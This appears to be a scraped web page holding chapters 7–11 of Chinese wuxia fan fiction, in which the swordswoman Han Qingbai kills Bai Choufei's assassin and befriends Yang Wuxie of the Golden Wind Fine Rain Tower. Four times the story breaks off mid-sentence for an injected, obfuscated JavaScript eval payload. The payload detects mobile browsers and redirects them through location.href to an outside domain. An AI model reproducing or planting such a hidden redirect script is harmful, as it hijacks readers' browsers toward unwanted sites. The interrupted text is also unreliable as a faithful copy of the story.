然而从小楼二层飞来的什么东西打破了他的畅想,力道之大硬生生将飞铙击落到了一边。毛拉拉看去,发现那只是一个橙子,已经有一大半嵌入了飞铙的边缘。 “谁?”他厉声喊道。 小楼二层的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035269|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗户被彻底推开,一个身影从里面翻出,落在地上。毛拉拉看去,发现是一个姑娘,头发被松松地挽起,似乎随时会落下来,她穿着一身劲装,腰上别着一把刀,与幽静的小巷不太搭,更像是跟毛拉拉他们一样突然闯进来的江湖人,和栀子花浓郁的香味格格不入。可她的脸出现在这里却一点也不违和,比毛拉拉见过的青楼女子都要漂亮,不过还是比不上他曾惊鸿一瞥见过的温柔。温柔比她更美,更令人心动,可毛拉拉觉得她比温柔更值得他注意。 不仅仅因为她此刻出现在这里,还因为她给人的第一感觉。常常游走在生死边缘的人往往有属于自己的直觉,这是他们在刀光剑影中磨砺出来的经验。 如果是温柔出现在这里,毛拉拉可能会因为温柔的身份、温柔的美貌而犹豫,都有可能,但他犹豫的原因绝不会是温柔的武功和气势。温柔那除了轻功以外三脚猫一样平平的武功不足以令他警觉。 那女子落地之后不看毛拉拉,却看向地上那人,用轻快的、不知世事的、毫无紧张感的语气说:“我刚才听见你说苏公子,你说的是金风细雨楼的苏梦枕苏公子吗?” “不错……” 毛拉拉冷声道:“金风细雨楼办事,闲人莫管。” “姑娘你别听他胡说,他算什么金风细雨楼的人,不过是背叛苏公子的叛徒!” 毛拉拉不准备继续多言,这姑娘衣着打扮看起来一点也不华丽,不似白愁飞白副楼主那般穿着都用好料子,也不似温柔那样精心打扮,看上去没什么其他身份,估计在这里死了也不会产生什么影响。就算她身上武功不差,毛拉拉也自信他能将他们一起都杀了。 他是金风细雨楼的精锐,曾被花无错、师无愧和薛西神精心培养,只是多对付一个半点名气也没有的姑娘,他当然有这个自信。他一向认为只有够狠的人才能成大事。 飞铙被绳拉回,同时他另一只手从袋子里抽出一个小点的飞铙,朝那姑娘飞去。带着绳的飞铙被抽出,再度劈向地上的金风细雨楼子弟。 他为人小心眼,手段也不算光明正大,暗器在四大名捕之首的无情手里可称为明器,在毛拉拉手中就是纯纯的阴险伎俩,角度刁钻险诡,除了要人命就是要人命,再无其他目的。 可他今天注定要失望了。 毛拉拉似乎缺少了一点运气。在江湖上混,狠是一个特质,然而运气往往也是决定一个人生与死的关键因素,毛拉拉拥有的似乎只有前者。 在绝对的实力面前,狠并不影响什么,甚至都不会被算进这场战局的影响因素里,假如说一定要给它一个身份的话,它大概只是一个毫无紧要的旁观看客。 如果那人没有连路都不看只顾逃跑,跑到孙三四的小楼附近,如果他不追着那人跑到这边来,也许不会惊到小楼里二楼的人,也不会叫这姑娘产生好奇心。 如果这姑娘没有从孙三四的小楼里出来,如果毛拉拉并不打算一言不合就杀了她的话,毛拉拉或许就不会死了。 寒轻白抽刀的速度并不快,至少没有以快剑著称的梁伤心出剑的速度快,不过她也没有何难过那么慢,就是平平常常的速度,普普通通地抽刀。直到刀锋刺入脖颈,咽喉和气管一道被割破的时候,毛拉拉还没有反应过来。他的头与他的身体分离,飞铙也失去了掌控它的力道,砸在地上发出声响,好似不熟悉乐器的某人好奇用了铙钹后发出的刺耳一声。 8.金风细雨 “哎呀,把地上弄脏了,你也是,撞到的栀子树都得重新栽一遍才行。” 寒轻白不关注飞铙,也不关注死人,看着地上的血和被弄得乱七八糟的栀子树,惋惜道。 飞铙落地的刺耳一声响似是将地上那人从梦里惊醒,好像都不知道要说什么似的胡乱应声。 他身上有伤,不过能跑,也没死,口齿清晰说话利索,寒轻白依照他的话去找了他信得过的人来接他,他们连连保证等会就过来把这些树栽好,地上的尸体也清理干净,寒轻白这才重新回到了小楼二层。 孙三四泡好了茶,笑道:“不去管他们也没什么的,反正总会有人收拾干净。” “先前我见过一次苏梦枕苏公子,他的刀很漂亮。” “我刚还讶异你怎么突然去管了闲事,原来是这么回事,红袖刀确实美丽,即使是我也听说梦枕红袖第一刀的名声。不过别人和你不一样,他们虽说红袖刀,却是在实指苏公子,而你说红袖刀,则只是在讲那把刀。” “说不定也带了点人,毕竟是人在握刀。”寒轻白说。 孙三四听罢笑了起来,她笑完之后说:“这样容易被牵扯进金风细雨楼的内斗里,不过是他们先打到我的地盘的,要论起理来,咱们也不惧他们,瓦子巷这一亩三分地还是有不少人愿意给我孙三四一点薄面的。” “没错,就算来了人要找我算账,我也能打回去。” “不提那些扫兴的了,你再跟我讲讲,这一刀是这么出的吗,从下往上,我总感觉使不上劲似的。” “让我看看,哦,我知道了,孙姐姐,你发力的位置有问题,不要用手腕,手腕带出来的力道不够大,而且没有那么快,容易被对手找出破绽,要用小臂带上去,腰部配合发力,这样才能出刀更快。” 昔日艳传京华的名妓朱小腰和何小河都是被人赎了身,自己也学了武,有了自保之力之后,也不必担心被迫再入青楼。孙三四是山东孙家外姓子弟,早年远嫁,遇人不淑,流落到风尘之地卖笑卖唱,唱到了如今这个地位,可她仍旧被束缚在瓦子巷里,不似朱小腰跟随颜鹤发加入了金风细雨楼,也不似何小河加入象鼻塔。 无论需要面对什么,孙三四觉得,她们总要比自己过得更自在一点。 恰逢其会,孙三四也跟寒轻白学武,练刀,为未来做准备。 寒轻白的力气很大,所以快对她而言是锦上添花,她可以先下手为强,也可以后发制人,专门针对敌人的破绽出招。她出刀时还另有拿手好戏附带,出刀时刀锋带火,势不可挡,一刀砍去的同时挑起熊熊火焰。 但孙三四并不像她一样能一刀砍开别人的脑袋,也不像她一样从小就开始习武练刀打基础,所以孙三四在练刀时一定要强调的是速度,最好一出手就能一刀毙命,快得让对方反应不过来。 孙三四专心习武,小楼外的栀子花静静盛开。死去的毛拉拉和活着回去的那人大大出乎了孙鱼的意料。 毛拉拉是孙鱼的下属,孙鱼善于观察,也喜欢观战,他大体知道毛拉拉究竟是一个什么样的人,也知道他的水平如何,按理来说这对于毛拉拉来说应该是一次绝不可能失败的任务。 可毛拉拉还是死了,留下了不小的麻烦。本该被他杀死的人跑回了金风细雨楼,大声求见苏梦枕,虽然在他的声音到象牙塔之前就已经被孙鱼处理干净了,但仍引起了不小的波澜,孙鱼找了梁何一同才将此事压下来。 可金风细雨楼里的动静,又怎么可能瞒得过杨无邪?梁何和孙鱼等了又等,却没等到杨无邪派来试探的人。他们二人推测,他们没等到,有两种可能,其一,杨无邪无暇顾及,只当是小事所以没有深究,其二,杨无邪已经心生疑窦,只是为不打草惊蛇,所以没有动作。 在面面相觑好一会后,梁何终究还是硬着头皮将此事汇报给了白愁飞,白愁飞只冷冷一笑。 “杨无邪那人心思缜密,又执掌白楼诸多机密资料,可惜不能为我所用,早晚要除去他。只要没有惊动苏梦枕,此事便罢了,就此打住。” 他曾拉拢杨无邪,却碰了一鼻子灰,叫杨无邪三言两语气了个够呛,于是他不再盘算拉拢杨无邪,而是决意对付他。 杨无邪是金风细雨楼的总管,负责管理白楼,收集情报整理资料,在楼子里是军师的定位,不少壮大金风细雨楼的计谋都出自他口,苏梦枕于他极其重视,也相当信重他。白愁飞虽已暗下决心对付杨无邪,以他的高傲自负,却也不得不因杨无邪的能力而高看他一眼。 这样值得金风细雨楼楼主信重、令狼子野心的白愁飞所忌惮的人,又怎么可能察觉不到金风细雨楼寻常日子下的暗波涌动? 他不言不语,假装自己不知道,实际上早已了如指掌,在心中有了成算。 “姑娘,无欺先生来了。” 门外,有人告知孙三四此事。孙三四近日除了不得不接见的贵客以外,谁也不见,对外一律称病,只是杨无邪一向照顾小甜水巷和瓦子巷,怜惜这些沦落风尘之地的可怜人,他从不欺侮她们,这里的姑娘们都信任他,所以孙三四的人才特意替他禀报。 孙三四扬声道:“请先生进来吧。” “无欺先生?” 听了寒轻白疑惑的重复,孙三四对寒轻白解释道:“是金风细雨楼的杨无邪杨先生,他外号童叟无欺,我们这里的姑娘都唤他无欺先生,因为他从不欺诈弱小,替我们主持公道。” 杨无邪进门,便听见这样一段话,他惊讶于孙三四有客人却仍叫他进来,不过当他看见客人的模样时,这份惊讶便烟消云散了。 坐在孙三四身侧的是一位姑娘,正用好奇的眼神望着他,见杨无邪看过来,还朝他笑了笑。 只消看一眼,杨无邪便知道她会武,而且不是青楼女子。 因为青楼女子即使面上笑得甜到发腻,眼里也并不全是笑着的,她们不哭,不代表她们心里没有哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044444|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。杨无邪的母亲是青楼女子,他亦出身青楼小厮,后来苦读诗书,得了苏氏父子青眼,这才出人头地。 他看人自有他独特的方法。 这姑娘有一双明亮的眼睛,头发上插着簪子,绒花点缀衬得容色更艳,脸上抹了妆,眉间点了花钿,穿着一身藕色衣裙,与孙三四身上的衣裳服饰风格都很接近,可不知为何却有这姑娘与这房间里的一切都格格不入的感觉,是锦绣绸缎也磨不平、卷不柔的锋利和野性。 先是做了自我介绍,打了招呼后,杨无邪直入正题,问起孙三四最近可否有金风细雨楼的子弟到附近来。 “想也知道无欺先生是为了这件事而来,那日不仅我在,我这位朋友也在,那日我们正在闲聊,听到外面忽得有人打斗,原本不欲多管闲事,只是听到有人提起了苏公子,无欺先生有所不知,轻白也是用刀的,故而很是仰慕苏公子的红袖刀。” 孙三四悠悠几句说完,寒轻白接着说了下去。 “我翻窗下去后,有一个用飞铙的人正打算杀人,我出声阻止,大概听了两句,用飞铙的应该隶属白楼主,因为他说另一人冥顽不灵,不愿归顺白楼主。后来那用飞铙的想连我一起灭口,我便将他杀了。另一个人我找了他熟悉的人送回去了,怎么,他没回金风细雨楼吗?” “已经回了。”杨无邪苦笑。只是他晚了一步,那人已被灭了口。 孙三四和寒轻白寥寥几句,事情原委已然清晰可见。 杨无邪提防白愁飞有一段时间了,只是没有确切的证据去告知苏梦枕处理这个隐患,而且得益于苏梦枕先前的放权,白愁飞在金风细雨楼逐渐势大,有了自己的一批精锐势力,苏梦枕不愿疑心自己兄弟,也不愿金风细雨楼内斗,平白消耗精锐。可现在白愁飞已经露出獠牙,磨刀霍霍向忠于苏梦枕的金风细雨楼子弟,杨无邪若再不采取措施,只怕日后只能眼睁睁地看着白愁飞夺走金风细雨楼大权了。 只是这些隐忧杨无邪不便同楼子外面的人说,寒轻白来历不明自不必提,孙三四更是心思敏锐之辈。 烟花之地鱼龙混杂,虽有发梦二党管辖互助,并且杨无邪也已经以苏梦枕的名义与他们达成了约法三章,金风细雨楼更是之前帮了风月场所一个大忙,叫这里不必归于六分半堂,落入蔡党之手,但金风细雨楼的弱势和内斗分裂之态绝不能暴露在外。 势力和人一样,在江湖上,暴露自己的弱点给旁人无异议自寻死路。除非这弱点是有意展现出来,请君入瓮的诱饵。 “无欺先生,我知晓金风细雨楼的内务不该我们开口询问,只是轻白已经牵涉其中,杀了金风细雨楼的子弟,虽情有可原,可我也担心我这妹妹会被报复。不知无欺先生对此可有安排?” “这点孙姑娘放心,我来这边比较隐蔽,你们不说,我不说,也没有人知道那人是寒姑娘杀的。” 孙三四笑道:“那就好,有无欺先生作保证,如此我便放心了。” 9.京城搭窝 杨无邪不说,孙三四也不对外提,但瓦子巷死了人这事瞒不了谁,孙三四也没准备瞒。 毛拉拉就是死在了她的小楼前,知道这事又能怎么样?他白愁飞、孙鱼难道还能带人来向孙三四讨个说法,让她偿命吗? 不说仰慕孙三四者甚众,她不需要开口说什么便定有不少人愿为她出头抱不平,何况这种拿不上台面的事情,白愁飞真的差人真的这般行动,那才是要叫京城诸多势力笑掉大牙。 白愁飞急功近利,不择手段,但并不代表他是蠢货,孙三四与他无冤无仇,不必为了一个死人而凭空招惹麻烦。无论毛拉拉是死在孙三四手下,还是孙三四恩客的手下都不重要,为他讨说法能不能让白愁飞获得利益才是关键。既然无法得到好处,那便无需为此多费心思。 孙三四不知白愁飞身份,却对这类人的心思估计得大差不离,毕竟她就是吃这口饭,靠揣摩人心思过活的。 杨无邪离开后,孙三四柔声安慰寒轻白不必担心,叫寒轻白有空尽管来瓦子巷,小楼随时欢迎她来。 歇了这么多天,孙三四也要见客了,她要见客,寒轻白就不太方便住在小楼里。孙三四的武功已初具雏形,剩下的还需要孙三四自己勤加练习,寒轻白只消过些日子来看一看、指点一番便好。 寒轻白回到客栈,她猜想着七绝神剑几人估计早已陆陆续续找到住处搬离客栈,她自己打算再住几日,却在大堂见到了熟悉的人。 “余师兄,你怎么在这里?” 寒轻白惊讶地走过去。 坐在长凳上的余厌倦见她过来,嗯了一声。 “在等你。新衣裳很好看,发饰也是。” 寒轻白笑着从头上取下一朵绒花,俯身别到了余厌倦的头发上。时人常有簪花,男女老少皆插花,虽负担者亦然,余厌倦戴一只也不显得突兀,不过一朵粉色的绒花放在一身黑的他头上,还挺引人注目。 “因为你们搬去新的住处了吗?” “对,担心你不知道我们去哪里了,所以在这等会你。我带你去老温那里,他租了城郊一进的宅子,这样你们就不用住客栈了。” “余师兄住哪里?” “我跟老孙和老吴一起租的房。” 京城寸土寸金,若不是城郊的宅子,温火滚还真不一定租得起。原先的住户装修偏简单,不过在温火滚看来也比山上自己搭的屋子要好不少。 余厌倦带着寒轻白到门口,自己只打了声招呼就走了。温火滚不以为意,上下打量了一番寒轻白的新打扮。 “藕色有些淡了,怎么想起穿这个颜色?” “孙姐姐帮我挑的,不好看吗?刚余师兄还夸了。” “好看,当然好看,不过我觉得颜色鲜艳一点更适合你。而且藕色太浅,如果沾上什么泥点子很明显,一下子就不能穿了。” “那也没关系,反正就穿这么几天。袖子太宽松了,有点不习惯,没有劲装利落。”寒轻白一边说着,一边把手往里一缩,甩了甩袖子。 “人家这衣裳本来就不是穿出门的,哪里经得起你这么造作。” “小寒你来看看这边,给你留了一间光线好的屋子,原先这是个读书人的,后来没钱在京城里头待不下去,家什也都留下了,我瞧着还算可以,这里头还有书橱,你到时候可以把话本子都放里面。” “京城开销实在是太贵了,好在先前太师赏了点,再加上我之前攒的钱总算还够。虽然这地在城里算偏的,不过离夜市不远,走几步就到了,想吃什么都可以去买。”温火滚自己的厨艺只能算勉强能吃,他也是正常人,有条件他还是想吃点正常滋味的食物。 寒轻白这看看,那敲敲,四处打量完之后才回到温火滚身边。 “挺好的,比我们自己搭得要精细,他们用的是什么木头啊,怎么这么牢固?” 温火滚摇摇头,这显然在他的知识范畴之外了。 “我也不知道,看着跟山上的木头差不多,谁知道是怎么搞的。” “说正经的,你真不打算向太师效力?” “不去,没有五险一金双休和带薪年假。而且我没打算一直待在京城。”寒轻白连连摇头。 温火滚不太懂寒轻白的意思。 自打来了京华这富贵地,蔡京展示给他们的是一个完全不一样的世界,银钱、权力、美人,只要他们尽心为太师办事,这些东西应有尽有,太师绝对不会委屈任何一个有用的人。 他们在山上苦熬多年,如今终于学成下山,奉师父之命来到京城效力于太师麾下。山上的日子要什么没什么,对着枯石瀑布发呆可算聊以慰藉,就连帮寒轻白摘苍耳、把她那狗啃的头发打理好也成了生活中的一种乐趣。现如今有了钱财,有了名声,将来要什么就能有什么,而这些都是蔡京给的。 可寒轻白似乎不感兴趣,能引起她好奇的还是那些偏门奇怪的事情,温火滚习以为常,既然寒轻白已经有了自己的打算,他便撂下这个话题不再谈起。 “对红袖刀的兴趣还没消下去?” “对啊,听说苏公子生病了,卧床修养,一直都见不到他出刀。不过外面也说苏梦枕有了白愁飞这么好的结义兄弟,是八辈子修来的福气,可余师兄说白愁飞正准备篡夺大权,所以外面的传闻也不见得都能信。” 温火滚冷哼一声,道:“这要是福气,那大家恐怕都不会想要享福,指不准都要避之不及了。连萧大侠都说过,一朝是兄弟,一生是兄弟。可他白愁飞忘恩负义到这种地步,刚上位便要攫取他结义大哥的权力,谁要是有他这么一个兄弟,才算倒了八辈子霉。你余师兄说得不错,白愁飞已经被太师认了义子,是太师面前的红人,连任劳任怨都要听他吩咐。” “那你们呢?也要听他命令吗?” “不好说,如果太师有令的话,恐怕会的。” “白愁飞想要金风细雨楼大权,可他在金风细雨楼里的威望又比不过苏梦枕,就算有太师相助,他又能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049873|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到什么?杀了苏梦枕的话不会有人反对他吗?” 温火滚解释道:“话不是这么说的,白愁飞在金风细雨楼立了功,坐稳了副楼主的位置,等时机到了,他再装模作样苏梦枕看不惯他位高权重,所以反手刺杀他,这样一来名头不就有了吗?他白愁飞成了忍辱负重义薄云天的好汉,苏梦枕反而成了奸诈小人。这样一来,他接手金风细雨楼,岂不是顺理成章、马到成功。” “可他白愁飞又算什么英雄好汉,以计谋害人、杀人,而不去正面跟苏梦枕拼出个输赢来,要我说,这类用诡计害人的东西都该杀!” 寒轻白只歪头听着,不发表言论。 这事说实话还有点搞笑,白愁飞是不是个东西这问题姑且搁置,温火滚自己就是一个杀手,只不过用武力杀人而非计谋,真要算起来,杀手和阴谋家之间也没什么高下之分。 只不过看温火滚这忿忿不平的样子,寒轻白也不好去真的当着他的面笑出声,那纯属讨打。 “不提白愁飞了,小寒,你从孙三四那边回来,之后打算再去哪里逛逛?京城里有不少繁华的地方,夜市瓦肆,比山下集市要热闹多了。咱们聘只狸奴养一养怎么样,京城里对这还挺讲究的,还要挑选良辰吉日。” 养猫在京城里很流行,不仅因为猫很可爱,还因为猫可以抓老鼠。虽然官宦人家也有专门养宠物猫的,但温火滚和寒轻白要养的话,肯定要养一只能抓老鼠的。 “养猫啊,那我要养乌云盖雪,或者踏雪寻梅也行。”寒轻白表示她要养奶牛猫。 “好,那我找找。”温火滚点头。 “接下来大概继续盯着金风细雨楼吧,也不知道苏梦枕什么时候能再出门,我真的好想见见他的刀。师兄我跟你讲,我本来没打算费这么长时间的,可现在一直见不到,我就不信了,一定要找个机会见识一番。” “金风细雨楼你又没认识的人,怎么盯啊?” “前些日子见了杨无邪,我可以去找杨无邪,问问他苏梦枕什么时候能好。” 温火滚听罢,翻了个白眼。他看不惯白愁飞的阴谋诡计,自然更是对杨无邪看不顺眼,在他看来,但凡是军师的都该死。 “杨无邪能是什么好东西,你别被他骗了。” “我饿了,我们吃什么?” “别顾左右而言他,我说话你听见了没。”温火滚不满地说道。 “听见了,杨无邪不是好人,是坏蛋。” “这还差不多,也别光听见,要记到脑子里去。金风细雨楼的事情你若感兴趣,我再打听打听去,别什么也不想就去找杨无邪,军师都不是什么好东西,脑袋里还不知道装着什么算计人的心思。别你过去找他,被人算计了还帮人数钱。” 说的差不多了,温火滚语气减缓。 “你想吃什么,我去买个烧鹅回来我们吃怎么样,曹家的烧鹅一绝,还得排队才能买上。” “还要张家的乳酪!” “没问题。” 10.幸运75 这几日寒轻白回来后,温火滚还跟她确认了一下她的行程,确保她没有去找杨无邪才放心下来。 那天他自己说了一大通,后来转念一想,寒轻白一直没答应他保证自己不去找杨无邪。考虑到寒轻白有说了也不听的前科,温火滚说了多少遍叫她别去有苍耳的地方滚,她也从来没听过,每每沾了满身的苍耳依旧找他来摘。 于是他这几天见了人就问一句。寒轻白还不至于为了杨无邪而对他撒谎。 寒轻白的确没有去找杨无邪。因为薛冰来了京城,她们恰好碰上,于是这几天一直在一起玩。 “冷罗刹薛冰,我也听说过她的名号,她好像还是四条眉毛陆小凤的相好对吧?没想到你竟还认识她。”温火滚从脑海里翻找出薛冰的传闻,听说她有一副惹人怜爱的好相貌,出手狠厉,动辄砍人胳膊,叫江湖上不少人见了便头大不已,实在棘手。 “不错,正是她,不过我没有见到陆小凤,也不知道他有没有一起来。薛冰说她是来代她家老夫人取货的,薛家在京城福瑞祥和福记定了缎子和丝线,本来她不跟着来也行,刚好她无聊就顺道来京城玩了。” 温火滚对此没什么意见,担心她囊中羞涩,又给了她一些银钱叫她自去玩耍。 薛冰在京城没待多久,她是针神薛夫人的孙女,京城是不错,可对她来说来得次数多了也就厌了,这回若不是偶遇了寒轻白,她甚至只会逛三两天就回去。 她带着寒轻白熟悉了薛家在京城的铺子,若是寒轻白想寄信给她,交给掌柜的,放到薛家的铺子就行。在得知寒轻白与神针门有故后,薛冰有些惊讶,也有些高兴。 “这可不巧了,我们家老太太也同神针门有交情,神针门的绣品奶奶一眼就能瞧出来是谁绣的,神针婆婆还上门拜访求过指点,奶奶说如今她的绣花越发精进了,她本就是以绣针入武道,现在武艺估计也比以前要强不少。” 寒轻白点头,“神针婆婆教了我很多。” “没想到你对绣花感兴趣,早知道带你回家了,我对绣花可是半点没辙。” “我知道,你说过的,你一拿起针线就打瞌睡,我也不擅长绣花,向神针婆婆请教的是武艺。缝补添个补丁还行,绣花还是饶了我吧。” “看来我们姐妹两个都不擅长绣花,什么针啊线啊的可是比习武还要麻烦。”薛冰笑了起来。 寒轻白深以为然,赞同道:“没错,习武练刀的时候我觉得还好,只要一直练下去就好了,但缝补的时候就不一样了,一开始完全不知道要把针往哪里戳,后来勉强能凑活着穿,但还是有补丁的痕迹,没有余师兄补得好看。至于绣花,那就更别提了,即使神针门的姐妹们跟我讲解了,我还是一头雾水。” “对对,就是这么回事。”薛冰听着寒轻白的话,觉得完全是说到自己心坎上了,她连连点头。 听着话里寒轻白提及自己的师兄,薛家的大小姐忽得拉着寒轻白站定,在寒轻白疑惑的视线下让她转了一圈。 “现在你衣裳的料子倒是比我们上回见面要好多了,不过还是太简朴了些,得空来我们家的铺子,报我薛冰的名字,让掌柜的给你做身好的,不然这穿着像什么样子,实在糟蹋了这么好看的脸。” “你师兄们在京城怎么谋生的我管不着,不过你是我的姐妹,若是缺钱尽管从我们家的铺子里拿就是,记得不用委屈自己。” 寒轻白哭笑不得,不过见薛冰一副不容拒绝的表情,她只好笑着应声道一定。 送别了薛冰,寒轻白也不由得开始思考起吃穿用度的问题。薛冰是大小姐,她的眼光自然高,寒轻白无需以她的标准来要求自己,但有一件事情她是说对了的,京城的花销远比山下要高不少。 单就温火滚租的那套宅子就还要付租金,温火滚那些积蓄只够五个月的,但又不能全付,还要留下些日常生活用。这样算下来,再一缩减就只够付两三个月的房租。 罗睡觉受太师重用暂且不提他的去处,孙余吴三人合租一个,三个人的钱凑在一起自然是够的,梁何二人也差不多,只温火滚因为要带她所以单另租一套,手头有些拮据。寒轻白在华玉轩帮忙的时候有拿一点钱,但显然不太多,只能说是聊胜于无。 她这样想着,听到了打斗的声音。 天下脚下江湖帮派不少,纷争也不少,寒轻白来京城短短时间里已经路过不少次打架斗殴了,不过只要对方不招惹到她,她就不去管。 这次本也是打算一样,不经意间看去后,寒轻白却看到了有过一面之缘的熟人。 被五六人围攻的竟是杨无邪。他用着一把袖刀勉力对付敌人,寒轻白能看出来,他的刀术并不算上乘,但胜在刀法精妙,凄厉急快,招招往要害攻去,险之又险地逼退几人。 刀光亮起,攻击杨无邪的其中一人眼前一花,手中刀对上了另一把刀,震得他手腕发麻,然而对方远不止就这点实力,从刀背上传来的力道紧接着直接将人打飞了出去。 将人击退,寒轻白笑问道:“无欺先生原来也是用刀吗?” “只是应个急而已,虽得了公子指点,却仍隶属末流,叫寒姑娘见笑了。” 少了一人,也少了几分压力,杨无邪也有了些余地回了寒轻白的话。 既然已经出手,寒轻白便并不打算作壁上观,索性帮到底,反正这也不是她去找的杨无邪,而是路上刚巧碰到了。 刀身一转,寒轻白朝着那几人拦腰砍去。她砍断一个以后刀身向上提,随后转手一抹,刀锋划过对方咽喉,溅出几滴血来。顷刻间五个人就有两个死在了寒轻白手里,杨无邪压力大减,袖刀越发凌厉,一刀刺入对方胸膛,刀柄再一拧,彻底搅碎了生机。 还活着两个见形势不妙想逃,寒轻白身子向后一仰直接往前滑,滑至敌人侧身后旋身一刀,刀身自下而上,直接在敌人腰腹至肩膀处斜开了一道血线。杨无邪也没有放虎归山的想法,他也三两刀挡住对方攻击,在刀刃发出金石相碰声的刹那间,另一只手迅速出了一掌,重击对方胸膛,随后袖刀穿喉,再度抽出时,刀身上染了血,在阳光的照射下,有几分像红袖刀的水光潋滟。 “无欺先生看起来很和气,出手却一点也不犹豫。不过我瞧无欺先生这出手的习惯,惯用武器应该并非刀剑吧,倒像是更为迅猛刚烈的武器。” “不错,逃不过寒姑娘的法眼,我常使的是杵。” 杨无邪第一次见寒轻白是在孙三四的小楼,他回去后翻阅金风细雨楼收集到的关于寒轻白的信息。 寒轻白师承不明,最早得到她出现的消息是她出刀救下了神针门的人,随后跟随她们回到了神针门,在神针门待了不少时日,后来出现在冷罗刹薛冰身边,与她同行了几日,似乎二人关系很是要好。再有关于她的消息就是黄河决堤之后,寒轻白帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052304|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助安置灾民,重建房屋。快剑杀手路小佳也曾出现在那里,捐了一大笔银钱,若不是这笔钱财,只怕要将灾民安置妥当还要好一阵子时间才行。 金风细雨楼也派人去出了力,捐了物资,去帮忙的人他们大都见过寒轻白,也说过话。当时寒轻白指挥他们分配物资,搭建屋子地基,熬粥送药,他们对那位寒姑娘感官都不错,言语间形容她是性格爽利的江湖儿女。杨无邪私下找可信的人问过,样貌特征确实与他在孙三四处所见的姑娘相符。 这样一个风评武功都不错的姑娘出现在京城,帮了他的忙,对金风细雨楼和苏梦枕还带着很明显的善意,杨无邪自然也是笑脸相迎。 “多谢寒姑娘,不然我这次怕是要危险了。” “应该也还好,他们要杀你还有点困难。我觉得你应该还有后手。” 杨无邪笑了笑,并不反驳,也不承认。 “我就不问他们为什么要杀你了,不过你自己要小心。孙姐姐跟我讲你是对她们非常好的人,如果你死了,金风细雨楼恐怕就不会坚持维护烟花女子,不叫她们受到欺侮了。” “你说得是。”杨无邪苦笑。他发现了,虽然不过只见了两面,可他常因寒轻白的话而苦笑。 原因无他,只因为寒轻白说的是实话。 金风细雨楼中只有杨无邪真的在怜悯体贴那些姑娘,也唯有他有这样的影响力。 当初六分半堂奉蔡京之令想要染指这片繁华之地,苏梦枕本不欲多管闲事。他不喜欢这些声色之地,更不喜欢这些操持皮肉生意的人,是杨无邪谏言,阐明如果这行业被蔡党包揽,那一定会更黑暗龌龊,逼良为娼,拐卖妇女,届时会有更多人受辱而无所申诉;这片区域就在六分半堂与金风细雨楼势力划分的边界,若是出了乱子,楼子也会受影响,而且叫六分半堂占据了这片地区,受损的将会是金风细雨楼。 苏梦枕被他说动了,这才发兵保住了这片地盘,杨无邪再接再厉,约法三章,严禁强取豪夺、胁迫行贿,保障青楼女子和寻芳客的安全,但也不叫他们做大嚣张。 “无欺先生,你对谁想对你出手有头绪吗?如果你不介意的话,可以交给我,我去解决掉他们。作为报酬,你可以给我一些银钱,并且对这件事保密,不告诉别人便可。” “多谢寒姑娘好意,只是这件事情不是那么简单,我自己处理便好。你若是拮据的话,我手头还有些余钱……” 寒轻白摇摇头,道:“没关系,现在也没有那么缺钱,我有在华玉轩打零工,不过你有需要的话可以来找我,我自觉刀法不错。” 杨无邪应声道好,“你若有需要帮忙的,也可来金风细雨楼寻我。” “你若是说这个的话,我还真有事情想找你帮忙。” “寒姑娘请说。” “我曾经偶遇过苏梦枕苏公子,对他的刀法和刀很是喜欢,一直想再见一次,如果有机会比试就更好了,只是再也没有机会见过苏公子。听闻他在象牙塔养伤,所以想问问你,他什么时候身体能好转?” 寒轻白面露期待。 杨无邪怔了一下,沉默一会,见寒轻白耐心地看着他,等他的回答,还是开口道:“公子身体一直都不太好,不过寒姑娘的想法,我会转达给公子,届时看公子的想法如何,不论他答应与否,我都会找人转告你答案的。” “那就拜托你了,无欺先生。” 11.课外补习 